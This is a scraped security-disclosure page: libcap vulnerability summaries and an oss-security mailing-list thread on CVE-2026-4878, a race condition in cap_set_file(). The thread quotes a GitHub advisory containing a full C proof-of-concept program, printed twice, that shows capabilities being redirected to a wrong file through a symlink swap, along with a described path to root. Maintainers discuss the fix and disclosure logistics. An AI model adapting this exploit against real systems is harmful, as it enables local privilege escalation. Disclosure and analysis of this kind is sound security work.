See how libcap compares to other vendors in security performance
A flaw was found in libcap. A local unprivileged user can exploit a Time-of-check-to-time-of-use (TOCTOU) race condition in the capsetfile() function. This allows an attacker with write access to a parent directory to redirect file capability updates to an attacker-controlled file. By doing so, capabilities can be injected into or stripped from unintended executables, leading to privilege escalation.
A time-of-check-to-time-of-use (TOCTOU) race condition in libcap’s capsetfile() allows a local unprivileged user to redirect file capability updates to an attacker‑controlled file and gain elevated privileges. The function first validates the target path with lstat() (which does not follow symlinks) and enforces that it is a regular, non‑symlink file, but then applies or removes security.capability using setxattr() / removexattr(), which re-resolve the path and do follow symlinks. An attacker with write access to the parent directory can exploit the window between these calls by atomically swapping the validated regular file with a symlink or alternate file using renameat2(RENAMEEXCHANGE). As a result, capabilities can be injected into or stripped from an unintended executable, for example when a privileged process (such as setcap, package scripts, or container tooling) invokes capsetfile() on an attacker-influenced path. This can be abused to grant capabilities like CAPSETUID to an attacker’s binary and escalate to root.
In the case of the capnet service, when a key present in the old limit was omitted from the new limit, the missing key was treated as "allow any" instead of being rejected.
In certain scenarios, an application that had previously restricted a subset of network operations could ask for a new limit that extended the permissions of the process.
Last updated 26 February 2025
Description of problem: The capsh program has a --chroot commandline option. Inspecting the code shows that it does not do a chdir("/") after calling chroot. This means that '.' is outside the chroot.
Additional info: http://cwe.mitre.org/data/definitions/243.html
Hi,
I've just released libcap-2.78 which includes a fix for a TOCTOU issue in libcap.
The issue has been allocated the following code: CVE-2026-4878. It is the subject of this private bug: https://bugzilla.redhat.com/showbug.cgi?id=2447554 and is also written up in a github.com advisory which I will publish on Wednesday (this week). The github advisory tool characterizes the issue as CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H (Severity: Moderate 7 / 10).
The fix for pretty much that whole range of libcap releases is this commit:
https://git.kernel.org/pub/scm/libs/libcap/libcap.git/commit/?id=286ace1259992bd0c5d9016715833f2e148ac596
As the code is publicly available, there is no embargo in place for releasing fixes.
Cheers
Andrew
PS I tried a few times to post to the private openwall list about this issue 9 days ago, but my email bounced (likely because I couldn't effectively follow the mail formatting requirements). I might have realized that the emails were bounced if gmail hadn't silently placed the bounced replies in my SPAM folder. Sorry about that.
Apr 7, 2026 18:54:22 Andrew G. Morgan <morgan () kernel org>: Hi,
I've just released libcap-2.78 which includes a fix for a TOCTOU issue in libcap.
The issue has been allocated the following code: CVE-2026-4878. It is the subject of this private bug: https://bugzilla.redhat.com/showbug.cgi?id=2447554 and is also written up in a github.com advisory which I will publish on Wednesday (this week). The github advisory tool characterizes the issue as CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H (Severity: Moderate 7 / 10).
The fix for pretty much that whole range of libcap releases is this commit:
https://git.kernel.org/pub/scm/libs/libcap/libcap.git/commit/?id=286ace1259992bd0c5d9016715833f2e148ac596 Hi,
the new code suppports changing the file capabilities of all kinds of files (not just regular)(given that the caller has read permissions). Is that intended?
Best regards, Christian Göttsche As the code is publicly available, there is no embargo in place for releasing fixes.
Cheers
Andrew
PS I tried a few times to post to the private openwall list about this issue 9 days ago, but my email bounced (likely because I couldn't effectively follow the mail formatting requirements). I might have realized that the emails were bounced if gmail hadn't silently placed the bounced replies in my SPAM folder. Sorry about that.
As promised, the advisory ( https://github.com/AndrewGMorgan/libcapmirror/security/advisories/GHSA-f78v-p5hx-m7hh ) and release notes ( https://sites.google.com/site/fullycapable/release-notes-for-libcap?#h.x4zn8j3lss6r ) have been updated. I now consider this issue fully public.
FWIW Paul Ivanov tells me he had to fish my last message out of his Spam folder, so I guess this follow up may have a similar fate.
Cheers
Andrew
On Mon, Apr 6, 2026 at 8:22 PM Andrew G. Morgan <morgan () kernel org> wrote: Hi,
I've just released libcap-2.78 which includes a fix for a TOCTOU issue in libcap.
The issue has been allocated the following code: CVE-2026-4878. It is the subject of this private bug: https://bugzilla.redhat.com/showbug.cgi?id=2447554 and is also written up in a github.com advisory which I will publish on Wednesday (this week). The github advisory tool characterizes the issue as CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H (Severity: Moderate 7 / 10).
The fix for pretty much that whole range of libcap releases is this commit:
https://git.kernel.org/pub/scm/libs/libcap/libcap.git/commit/?id=286ace1259992bd0c5d9016715833f2e148ac596
As the code is publicly available, there is no embargo in place for releasing fixes.
Cheers
Andrew
PS I tried a few times to post to the private openwall list about this issue 9 days ago, but my email bounced (likely because I couldn't effectively follow the mail formatting requirements). I might have realized that the emails were bounced if gmail hadn't silently placed the bounced replies in my SPAM folder. Sorry about that.
Hi all,
I think Andrew may not be subscribed - CC'ing.
On Tue, Apr 07, 2026 at 10:14:42PM +0200, Christian Göttsche wrote: Apr 7, 2026 18:54:22 Andrew G. Morgan <morgan () kernel org>: I've just released libcap-2.78 which includes a fix for a TOCTOU issue in libcap.
The issue has been allocated the following code: CVE-2026-4878. It is the subject of this private bug: https://bugzilla.redhat.com/showbug.cgi?id=2447554 and is also written up in a github.com advisory which I will publish on Wednesday (this week). The github advisory tool characterizes the issue as CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H (Severity: Moderate 7 / 10).
The fix for pretty much that whole range of libcap releases is this commit:
https://git.kernel.org/pub/scm/libs/libcap/libcap.git/commit/?id=286ace1259992bd0c5d9016715833f2e148ac596 Hi,
the new code suppports changing the file capabilities of all kinds of files (not just regular)(given that the caller has read permissions). Is that intended? Andrew, please comment on this. I do also see it in the patch that the SISREG check is now below the added fast path code for readable files. It doesn't matter that the SISLNK check is also below (in fact, it's now redundant anyway) due to ONOFOLLOW, but bypass of the SISREG check appears to be a functional change.
Also, was the fact that capsetfile() refuses to operate over a symlink (for the last pathname component only) documented and expected behavior? Maybe not documented, but assumed expected? The advisory says: for example, an administrator running setcap, a CI/CD pipeline setting capabilities on build artifacts, a container runtime configuring binaries, or a package manager post-install script) can exploit the race to redirect file capabilities to their own executable. The attacker never needs elevated privileges; only write access to the directory containing the target path. While this sounds valid, making changes in an attacker-writable directory is inherently dangerous, and I wouldn't see why expectations for capsetfile() and setcap would be different than for chmod() and chmod, which follow symlinks, if there weren't already this incomplete racy attempt of pre-checking for and refusing to operate on symlinks. PS I tried a few times to post to the private openwall list about this issue 9 days ago, but my email bounced (likely because I couldn't effectively follow the mail formatting requirements). I might have realized that the emails were bounced if gmail hadn't silently placed the bounced replies in my SPAM folder. Sorry about that. Sorry you had difficulties with that. I just searched through the logs, but could not easily find traces of you trying to send this to the linux-distros list. Can you please forward the bounce to me off-list?
As to your oss-security postings presumably flagged by Gmail as spam, that is likely due to us breaking DKIM with the addition of the [oss-security] prefix and kernel.org having DMARC p=quarantine. In cases like this, a workaround is to pre-add [oss-security] on your end (and when you add to the thread, reply to your messages as they arrived through the list rather than to your local copies without the prefix). Sorry about that as well.
Let's also have the GitHub advisory archived in here:
https://github.com/AndrewGMorgan/libcapmirror/security/advisories/GHSA-f78v-p5hx-m7hh Local Privilege Escalation (LPE) via TOCTOU race condition in capsetfile() through file capability injection Moderate AndrewGMorgan published GHSA-f78v-p5hx-m7hh 11 hours ago
Package libcap (Library)
Affected versions = 2.04, <= 2.77 Patched versions 2.78
Summary
A TOCTOU (Time-of-Check-Time-of-Use) race condition in capsetfile() allows an unprivileged local attacker to redirect file capability writes to an arbitrary file, leading to local privilege escalation. The function validates the target path with lstat() (which does not follow symlinks) but then operates on it with setxattr() (which does follow symlinks). Between these two calls, an attacker with write access to the parent directory can atomically swap the regular file for a symlink or a different file via renameat2(RENAMEEXCHANGE), causing setxattr() to write the security.capability xattr to the attacker's chosen file instead of the intended target.
Details
The vulnerability is in libcap/capfile.c, function capsetfile():
int capsetfile(const char filename, capt capd) { struct vfsnscapdata rawvfscap; int sizeofcaps; struct stat buf;
// CHECK: lstat does NOT follow symlinks if (lstat(filename, &buf) != 0) { return -1; } if (SISLNK(buf.stmode) || !SISREG(buf.stmode)) { errno = EINVAL; return -1; }
// ... fcapssave() computation widens the race window ...
if (capd == NULL) { // USE: removexattr FOLLOWS symlinks return removexattr(filename, XATTRNAMECAPS); }
// USE: setxattr FOLLOWS symlinks return setxattr(filename, XATTRNAMECAPS, &rawvfscap, sizeofcaps, 0); }
The gap between lstat() and setxattr() or removexattr() creates a race window. During this window an attacker with write access to the parent directory can use renameat2(RENAMEEXCHANGE) to atomically swap the legitimate regular file with either a symlink pointing to the attacker's target or a completely different file. Since setxattr() resolves the path from scratch (following symlinks), it writes the capability xattr to the wrong file.
The same pattern affects the removexattr() path at when capd == NULL, allowing an attacker to strip capabilities from an unintended file.
For comparison, the fd-based counterpart capsetfd() is not vulnerable because it uses fstat() + fsetxattr() on an already-opened file descriptor, which pins the inode.
The setcap tool progs/setcap.c calls capsetfile() directly with a user-supplied path, making it the primary attack surface.
PoC
The following self-contained C program deterministically reproduces the vulnerability by executing the lstat → swap → setxattr sequence step by step. No race timing is required.
Requirements: Linux 3.15+ (for renameat2), root or CAPSETFCAP.
Build and run:
gcc -Wall -O2 -o poc poc.c sudo ./poc
#define GNUSOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/stat.h> #include <sys/xattr.h> #include <sys/syscall.h>
#ifndef SYSrenameat2 #define SYSrenameat2 316 #endif #ifndef RENAMEEXCHANGE #define RENAMEEXCHANGE (1 << 1) #endif
#define XATTRNAMECAPS "security.capability"
/ Minimal VFSCAPREVISION2 xattr granting CAPNETRAW=ep. struct vfscapdata { le32 magicetc; // VFSCAPREVISION2 | VFSCAPFLAGSEFFECTIVE struct { le32 permitted, inheritable; } data[2]; }; CAPNETRAW = 13 -> bit 13 in data[0].permitted = 0x00002000 / static const unsigned char xattrcapnetraw[20] = { 0x01, 0x00, 0x00, 0x02, / magic: VFSCAPREVISION2 | EFFECTIVE / 0x00, 0x20, 0x00, 0x00, / data[0].permitted = 1 << 13 / 0x00, 0x00, 0x00, 0x00, / data[0].inheritable = 0 / 0x00, 0x00, 0x00, 0x00, / data[1].permitted = 0 / 0x00, 0x00, 0x00, 0x00, / data[1].inheritable = 0 / };
static char arena[256], decoy[280], target[280], linkpath[280];
static void cleanup(void) { removexattr(target, XATTRNAMECAPS); unlink(decoy); unlink(linkpath); unlink(target); rmdir(arena); }
int main(void) { struct stat st; int fd, ret; char buf[20]; ssizet len;
if (geteuid() != 0) { fprintf(stderr, "Requires root (for setxattr on security.capability).\n"); return 1; }
snprintf(arena, sizeof(arena), "/tmp/cvepoc%d", getpid()); snprintf(decoy, sizeof(decoy), "%s/decoy", arena); snprintf(target, sizeof(target), "%s/target", arena); snprintf(linkpath, sizeof(linkpath), "%s/link", arena);
atexit(cleanup); mkdir(arena, 0755);
fd = open(decoy, OCREAT|OWRONLY|OTRUNC, 0755); close(fd); fd = open(target, OCREAT|OWRONLY|OTRUNC, 0755); close(fd); if (symlink(target, linkpath) != 0) { perror("symlink"); return 1; }
printf("capsetfile() TOCTOU — deterministic proof\n\n");
/ Step 1: lstat sees a regular file — capsetfile() check passes / lstat(decoy, &st); printf("[+] lstat(\"%s\"): SISREG=%d SISLNK=%d\n", decoy, SISREG(st.stmode), SISLNK(st.stmode)); printf(" capsetfile() symlink check PASSES\n\n");
/ Step 2: attacker atomically swaps decoy with symlink / ret = syscall(SYSrenameat2, ATFDCWD, linkpath, ATFDCWD, decoy, RENAMEEXCHANGE); if (ret != 0) { fprintf(stderr, "renameat2 failed: %s\n", strerror(errno)); return 1; }
lstat(decoy, &st); printf("[+] Attacker swaps (renameat2 RENAMEEXCHANGE):\n"); printf(" lstat(\"%s\"): SISLNK=%d — now a symlink\n\n", decoy, SISLNK(st.stmode));
/ Step 3: setxattr follows the symlink — writes caps to target / ret = setxattr(decoy, XATTRNAMECAPS, xattrcapnetraw, sizeof(xattrcapnetraw), 0); printf("[+] setxattr(\"%s\", \"security.capability\", ...): %s\n", decoy, ret == 0 ? "OK" : strerror(errno)); printf(" setxattr FOLLOWED the symlink to target\n\n");
/ Step 4: verify capabilities landed on the target file / len = getxattr(target, XATTRNAMECAPS, buf, sizeof(buf)); printf("[+] getxattr(\"%s\"): %zd bytes\n", target, len);
if (len > 0) { printf("\n BUG CONFIRMED: capabilities written to WRONG file.\n"); return 0; } else { printf("\n Unexpected: xattr not found on target.\n"); return 1; } }
Expected output:
capsetfile() TOCTOU — deterministic proof
[+] lstat("/tmp/cvepocXXXX/decoy"): SISREG=1 SISLNK=0 capsetfile() symlink check PASSES
[+] Attacker swaps (renameat2 RENAMEEXCHANGE): lstat("/tmp/cvepocXXXX/decoy"): SISLNK=1 — now a symlink
[+] setxattr("/tmp/cvepocXXXX/decoy", "security.capability", ...): OK setxattr FOLLOWED the symlink to target
[+] getxattr("/tmp/cvepocXXXX/target"): 20 bytes
BUG CONFIRMED: capabilities written to WRONG file.
Impact
This is a local privilege escalation vulnerability (CWE-367).
An unprivileged local attacker who has write access to a directory where a privileged process calls capsetfile() (for example, an administrator running setcap, a CI/CD pipeline setting capabilities on build artifacts, a container runtime configuring binaries, or a package manager post-install script) can exploit the race to redirect file capabilities to their own executable. The attacker never needs elevated privileges; only write access to the directory containing the target path.
By injecting capabilities such as CAPSETUID onto their own binary, the attacker can then execute it, call setuid(0), and escalate to root.
The attacker's primitives are:
- Arbitrary file capability injection: redirect any capsetfile() call to write capabilities to an attacker-chosen file on the same filesystem. - Arbitrary file capability removal: redirect the removexattr() path (when capd == NULL) to strip capabilities from an unintended file, enabling defense evasion.
All versions of libcap that include the symlink check in capsetfile() are believed to be affected. The setcap tool shipped with libcap is the primary real-world attack vector as it calls capsetfile() directly with a user-supplied path argument. Is there a good way to extract Markdown source from GitHub advisories, such as for posting in here? That would probably have preserved more of the formatting.
Thanks,
Alexander
On Wed, Apr 8, 2026 at 6:53 PM Solar Designer <solar () openwall com> wrote: Hi all,
I think Andrew may not be subscribed - CC'ing.
On Tue, Apr 07, 2026 at 10:14:42PM +0200, Christian Göttsche wrote: Apr 7, 2026 18:54:22 Andrew G. Morgan <morgan () kernel org>: I've just released libcap-2.78 which includes a fix for a TOCTOU issue in libcap.
The issue has been allocated the following code: CVE-2026-4878. It is the subject of this private bug: https://bugzilla.redhat.com/showbug.cgi?id=2447554 and is also written up in a github.com advisory which I will publish on Wednesday (this week). The github advisory tool characterizes the issue as CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H (Severity: Moderate 7 / 10).
The fix for pretty much that whole range of libcap releases is this commit:
https://git.kernel.org/pub/scm/libs/libcap/libcap.git/commit/?id=286ace1259992bd0c5d9016715833f2e148ac596 Hi,
the new code suppports changing the file capabilities of all kinds of files (not just regular)(given that the caller has read permissions). Is that intended? Andrew, please comment on this. I do also see it in the patch that the SISREG check is now below the added fast path code for readable files. It doesn't matter that the SISLNK check is also below (in fact, it's now redundant anyway) due to ONOFOLLOW, but bypass of the SISREG check appears to be a functional change. Not sure I follow. This check is in the capsetfd() function itself. Also, was the fact that capsetfile() refuses to operate over a symlink (for the last pathname component only) documented and expected behavior? Maybe not documented, but assumed expected? The advisory says: The code has always been intended to avoid operating on a symlink.
https://git.kernel.org/pub/scm/libs/libcap/libcap.git/commit/?id=df44db730f904c9fb1fdb83ab7f78abe8bd62844
for example, an administrator running setcap, a CI/CD pipeline setting capabilities on build artifacts, a container runtime configuring binaries, or a package manager post-install script) can exploit the race to redirect file capabilities to their own executable. The attacker never needs elevated privileges; only write access to the directory containing the target path. While this sounds valid, making changes in an attacker-writable directory is inherently dangerous, and I wouldn't see why expectations I agree. for capsetfile() and setcap would be different than for chmod() and chmod, which follow symlinks, if there weren't already this incomplete racy attempt of pre-checking for and refusing to operate on symlinks. But the idea that the code was protecting from symlink following when it wasn't represents a bug.
PS I tried a few times to post to the private openwall list about this issue 9 days ago, but my email bounced (likely because I couldn't effectively follow the mail formatting requirements). I might have realized that the emails were bounced if gmail hadn't silently placed the bounced replies in my SPAM folder. Sorry about that. Sorry you had difficulties with that. I just searched through the logs, but could not easily find traces of you trying to send this to the linux-distros list. Can you please forward the bounce to me off-list? Will do. As to your oss-security postings presumably flagged by Gmail as spam, that is likely due to us breaking DKIM with the addition of the [oss-security] prefix and kernel.org having DMARC p=quarantine. In cases like this, a workaround is to pre-add [oss-security] on your end (and when you add to the thread, reply to your messages as they arrived through the list rather than to your local copies without the prefix). Sorry about that as well.
Let's also have the GitHub advisory archived in here:
https://github.com/AndrewGMorgan/libcapmirror/security/advisories/GHSA-f78v-p5hx-m7hh Just to be clear, and credit where it is due, the text of this was authored by Ali Raza.
The markdown source is as follows:
---8<---
Local Privilege Escalation (LPE) via TOCTOU race condition in capsetfile() through file capability injection
Summary
A TOCTOU (Time-of-Check-Time-of-Use) race condition in capsetfile() allows an unprivileged local attacker to redirect file capability writes to an arbitrary file, leading to local privilege escalation. The function validates the target path with lstat() (which does not follow symlinks) but then operates on it with setxattr() (which does follow symlinks). Between these two calls, an attacker with write access to the parent directory can atomically swap the regular file for a symlink or a different file via renameat2(RENAMEEXCHANGE), causing setxattr() to write the security.capability xattr to the attacker's chosen file instead of the intended target.
Details
The vulnerability is in libcap/capfile.c, function capsetfile():
c int capsetfile(const char filename, capt capd) { struct vfsnscapdata rawvfscap; int sizeofcaps; struct stat buf;
// CHECK: lstat does NOT follow symlinks if (lstat(filename, &buf) != 0) { return -1; } if (SISLNK(buf.stmode) || !SISREG(buf.stmode)) { errno = EINVAL; return -1; }
// ... fcapssave() computation widens the race window ...
if (capd == NULL) { // USE: removexattr FOLLOWS symlinks return removexattr(filename, XATTRNAMECAPS); }
// USE: setxattr FOLLOWS symlinks return setxattr(filename, XATTRNAMECAPS, &rawvfscap, sizeofcaps, 0); }
The gap between lstat() and setxattr() or removexattr() creates a race window. During this window an attacker with write access to the parent directory can use renameat2(RENAMEEXCHANGE) to atomically swap the legitimate regular file with either a symlink pointing to the attacker's target or a completely different file. Since setxattr() resolves the path from scratch (following symlinks), it writes the capability xattr to the wrong file.
The same pattern affects the removexattr() path at when capd == NULL, allowing an attacker to strip capabilities from an unintended file.
For comparison, the fd-based counterpart capsetfd() is not vulnerable because it uses fstat() + fsetxattr() on an already-opened file descriptor, which pins the inode.
The setcap tool progs/setcap.c calls capsetfile() directly with a user-supplied path, making it the primary attack surface.
PoC
The following self-contained C program deterministically reproduces the vulnerability by executing the lstat → swap → setxattr sequence step by step. No race timing is required.
Requirements: Linux 3.15+ (for renameat2), root or CAPSETFCAP.
Build and run: gcc -Wall -O2 -o poc poc.c sudo ./poc
c #define GNUSOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/stat.h> #include <sys/xattr.h> #include <sys/syscall.h>
#ifndef SYSrenameat2 #define SYSrenameat2 316 #endif #ifndef RENAMEEXCHANGE #define RENAMEEXCHANGE (1 << 1) #endif
#define XATTRNAMECAPS "security.capability"
/ Minimal VFSCAPREVISION2 xattr granting CAPNETRAW=ep. struct vfscapdata { le32 magicetc; // VFSCAPREVISION2 | VFSCAPFLAGSEFFECTIVE struct { le32 permitted, inheritable; } data[2]; }; CAPNETRAW = 13 -> bit 13 in data[0].permitted = 0x00002000 / static const unsigned char xattrcapnetraw[20] = { 0x01, 0x00, 0x00, 0x02, / magic: VFSCAPREVISION2 | EFFECTIVE / 0x00, 0x20, 0x00, 0x00, / data[0].permitted = 1 << 13 / 0x00, 0x00, 0x00, 0x00, / data[0].inheritable = 0 / 0x00, 0x00, 0x00, 0x00, / data[1].permitted = 0 / 0x00, 0x00, 0x00, 0x00, / data[1].inheritable = 0 / };
static char arena[256], decoy[280], target[280], linkpath[280];
static void cleanup(void) { removexattr(target, XATTRNAMECAPS); unlink(decoy); unlink(linkpath); unlink(target); rmdir(arena); }
int main(void) { struct stat st; int fd, ret; char buf[20]; ssizet len;
if (geteuid() != 0) { fprintf(stderr, "Requires root (for setxattr on security.capability).\n"); return 1; }
snprintf(arena, sizeof(arena), "/tmp/cvepoc%d", getpid()); snprintf(decoy, sizeof(decoy), "%s/decoy", arena); snprintf(target, sizeof(target), "%s/target", arena); snprintf(linkpath, sizeof(linkpath), "%s/link", arena);
atexit(cleanup); mkdir(arena, 0755);
fd = open(decoy, OCREAT|OWRONLY|OTRUNC, 0755); close(fd); fd = open(target, OCREAT|OWRONLY|OTRUNC, 0755); close(fd); if (symlink(target, linkpath) != 0) { perror("symlink"); return 1; }
printf("capsetfile() TOCTOU — deterministic proof\n\n");
/ Step 1: lstat sees a regular file — capsetfile() check passes / lstat(decoy, &st); printf("[+] lstat(\"%s\"): SISREG=%d SISLNK=%d\n", decoy, SISREG(st.stmode), SISLNK(st.stmode)); printf(" capsetfile() symlink check PASSES\n\n");
/ Step 2: attacker atomically swaps decoy with symlink / ret = syscall(SYSrenameat2, ATFDCWD, linkpath, ATFDCWD, decoy, RENAMEEXCHANGE); if (ret != 0) { fprintf(stderr, "renameat2 failed: %s\n", strerror(errno)); return 1; }
lstat(decoy, &st); printf("[+] Attacker swaps (renameat2 RENAMEEXCHANGE):\n"); printf(" lstat(\"%s\"): SISLNK=%d — now a symlink\n\n", decoy, SISLNK(st.stmode));
/ Step 3: setxattr follows the symlink — writes caps to target / ret = setxattr(decoy, XATTRNAMECAPS, xattrcapnetraw, sizeof(xattrcapnetraw), 0); printf("[+] setxattr(\"%s\", \"security.capability\", ...): %s\n", decoy, ret == 0 ? "OK" : strerror(errno)); printf(" setxattr FOLLOWED the symlink to target\n\n");
/ Step 4: verify capabilities landed on the target file / len = getxattr(target, XATTRNAMECAPS, buf, sizeof(buf)); printf("[+] getxattr(\"%s\"): %zd bytes\n", target, len);
if (len > 0) { printf("\n BUG CONFIRMED: capabilities written to WRONG file.\n"); return 0; } else { printf("\n Unexpected: xattr not found on target.\n"); return 1; } }
Expected output: capsetfile() TOCTOU — deterministic proof
[+] lstat("/tmp/cvepocXXXX/decoy"): SISREG=1 SISLNK=0 capsetfile() symlink check PASSES
[+] Attacker swaps (renameat2 RENAMEEXCHANGE): lstat("/tmp/cvepocXXXX/decoy"): SISLNK=1 — now a symlink
[+] setxattr("/tmp/cvepocXXXX/decoy", "security.capability", ...): OK setxattr FOLLOWED the symlink to target
[+] getxattr("/tmp/cvepocXXXX/target"): 20 bytes
BUG CONFIRMED: capabilities written to WRONG file.
Impact
This is a local privilege escalation vulnerability (CWE-367).
An unprivileged local attacker who has write access to a directory where a privileged process calls capsetfile() (for example, an administrator running setcap, a CI/CD pipeline setting capabilities on build artifacts, a container runtime configuring binaries, or a package manager post-install script) can exploit the race to redirect file capabilities to their own executable. The attacker never needs elevated privileges; only write access to the directory containing the target path.
By injecting capabilities such as CAPSETUID onto their own binary, the attacker can then execute it, call setuid(0), and escalate to root.
The attacker's primitives are: - Arbitrary file capability injection: redirect any capsetfile() call to write capabilities to an attacker-chosen file on the same filesystem. - Arbitrary file capability removal: redirect the removexattr() path (when capd == NULL) to strip capabilities from an unintended file, enabling defense evasion.
All versions of libcap that include the symlink check in capsetfile() are believed to be affected. The setcap tool shipped with libcap is the primary real-world attack vector as it calls capsetfile() directly with a user-supplied path argument.
---8<---
Cheers
Andrew
On Wed, Apr 08, 2026 at 07:19:31PM -0700, Andrew G. Morgan wrote: On Wed, Apr 8, 2026 at 6:53 PM Solar Designer <solar () openwall com> wrote: On Tue, Apr 07, 2026 at 10:14:42PM +0200, Christian Göttsche wrote: Apr 7, 2026 18:54:22 Andrew G. Morgan <morgan () kernel org>: The fix for pretty much that whole range of libcap releases is this commit:
https://git.kernel.org/pub/scm/libs/libcap/libcap.git/commit/?id=286ace1259992bd0c5d9016715833f2e148ac596 Hi,
the new code suppports changing the file capabilities of all kinds of files (not just regular)(given that the caller has read permissions). Is that intended? Andrew, please comment on this. I do also see it in the patch that the SISREG check is now below the added fast path code for readable files. It doesn't matter that the SISLNK check is also below (in fact, it's now redundant anyway) due to ONOFOLLOW, Correcting myself: not redundant due to ONOFOLLOW because OPATH|ONOFOLLOW can actually open a symlink as such, but still redundant with "|| !SISREG". Anyway, fine to keep it.
I don't get why you wanted to use OPATH instead of just letting the open() fail on symlinks with plain ONOFOLLOW. Just to set a different errno and debug message maybe. Anyway, that's also fine. but bypass of the SISREG check appears to be a functional change. Not sure I follow. This check is in the capsetfd() function itself. Oh, indeed. I didn't look beyond patch context, maybe Christian did not either. I think this addresses the concern.
int capsetfd(int fildes, capt capd) { struct vfsnscapdata rawvfscap; int sizeofcaps; struct stat buf;
if (fstat(fildes, &buf) != 0) { capdebug("unable to stat file descriptor %d", fildes); return -1; } if (SISLNK(buf.stmode) || !SISREG(buf.stmode)) { capdebug("file descriptor %d for non-regular file", fildes); errno = EINVAL; return -1; } Just to be clear, and credit where it is due, the text of this was authored by Ali Raza.
The markdown source is as follows: Thank you both.
I would still like to know if there's a way I could extract Markdown source from third-party GitHub advisories, if anyone knows.
Alexander
On Wed, Apr 8, 2026 at 8:57 PM Solar Designer <solar () openwall com> wrote: On Wed, Apr 08, 2026 at 07:19:31PM -0700, Andrew G. Morgan wrote: On Wed, Apr 8, 2026 at 6:53 PM Solar Designer <solar () openwall com> wrote: On Tue, Apr 07, 2026 at 10:14:42PM +0200, Christian Göttsche wrote: Apr 7, 2026 18:54:22 Andrew G. Morgan <morgan () kernel org>: The fix for pretty much that whole range of libcap releases is this commit:
https://git.kernel.org/pub/scm/libs/libcap/libcap.git/commit/?id=286ace1259992bd0c5d9016715833f2e148ac596 Hi,
the new code suppports changing the file capabilities of all kinds of files (not just regular)(given that the caller has read permissions). Is that intended? Andrew, please comment on this. I do also see it in the patch that the SISREG check is now below the added fast path code for readable files. It doesn't matter that the SISLNK check is also below (in fact, it's now redundant anyway) due to ONOFOLLOW, Correcting myself: not redundant due to ONOFOLLOW because OPATH|ONOFOLLOW can actually open a symlink as such, but still redundant with "|| !SISREG". Anyway, fine to keep it.
I don't get why you wanted to use OPATH instead of just letting the open() fail on symlinks with plain ONOFOLLOW. Just to set a different errno and debug message maybe. Anyway, that's also fine. The prior xattr code didn't care if you have read access to the file content, so using OPATH was a way to preserve that legacy feature. It is pretty convoluted since we're only really using that to lock the file connection in place.
but bypass of the SISREG check appears to be a functional change. Not sure I follow. This check is in the capsetfd() function itself. Oh, indeed. I didn't look beyond patch context, maybe Christian did not either. I think this addresses the concern.
int capsetfd(int fildes, capt capd) { struct vfsnscapdata rawvfscap; int sizeofcaps; struct stat buf;
if (fstat(fildes, &buf) != 0) { capdebug("unable to stat file descriptor %d", fildes); return -1; } if (SISLNK(buf.stmode) || !SISREG(buf.stmode)) { capdebug("file descriptor %d for non-regular file", fildes); errno = EINVAL; return -1; } Just to be clear, and credit where it is due, the text of this was authored by Ali Raza.
The markdown source is as follows: Thank you both.
I would still like to know if there's a way I could extract Markdown source from third-party GitHub advisories, if anyone knows. I had to open it to edit the advisory to get the markdown. I couldn't see any other way (canceled the edit, so no change, but that is how I got the markdown).
Cheers
Andrew Alexander